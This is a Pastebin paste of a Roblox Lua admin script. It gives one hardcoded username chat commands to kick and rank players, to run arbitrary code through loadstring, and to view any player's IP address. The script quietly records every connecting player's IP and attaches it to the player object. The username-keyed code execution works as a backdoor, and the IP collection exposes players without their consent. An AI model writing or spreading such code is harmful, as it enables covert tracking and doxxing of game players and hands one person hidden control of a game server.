Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local commands = {"kick", "get", "rank", "script"}
- local adminName = "NoobllV"
- function kickPlayer(player)
- player:remove()
- end
- function getAddress(player)
- local ip = player["IP Adress"]
- _G.notify("IP Adress: "..ip.Value, game.Players[adminName], Color3.new(0, 0, 0), 2)
- end
- function rankPlayer(player)
- ranking = true
- rankingPlayer = player
- delay(5, (function() ranking = false rankingPlayer = nil end))
- end
- function executeScript(source)
- local status, errorMsg = pcall(function()
- loadstring(source)()
- end)
- if (not status) then
- _G.notify("Error: "..errorMsg, game.Players[adminName], Color3.new(0, 0, 0), 2)
- end
- end
- function playerEntered(player)
- if (player.Name == adminName) then
- player.Chatted:connect(playerChatted)
- end
- end
- function playerChatted(message)
- local functions = {kickPlayer, getAddress, rankPlayer, executeScript}
- for index, command in ipairs(commands) do
- local length = string.len(command)
- local chat = string.sub(message, 1, length)
- if (chat == command) then
- local totalLength = string.len(message)
- local playerName = string.sub(message, length + 2, totalLength)
- local player = game.Players:findFirstChild(playerName)
- if (player) then
- functions[index](player)
- else
- functions[index](playerName)
- end
- end
- end
- if (tonumber(message) ~= nil) then
- if (ranking) and (rankingPlayer ~= nil) then
- rankingPlayer:WaitForDataReady()
- rankingPlayer:SaveNumber("Rank", tonumber(message))
- rankingPlayer.leaderstats.Rank.Value = tonumber(message)
- rankingPlayer = nil
- ranking = false
- end
- end
- end
- game.Players.ChildAdded:connect(playerEntered)
- while wait() do
- if (game:findFirstChild("NetworkServer") ~= nil) then
- break
- end
- end
- game.NetworkServer.IncommingConnection:connect(function(adress, child)
- local connected = false
- game.Players.ChildAdded:connect(function(player)
- if (not connected) then
- connected = true;
- local ip = Instance.new("StringValue", player)
- ip.Name = "IP Adress"
- ip.Value = adress
- end
- end)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement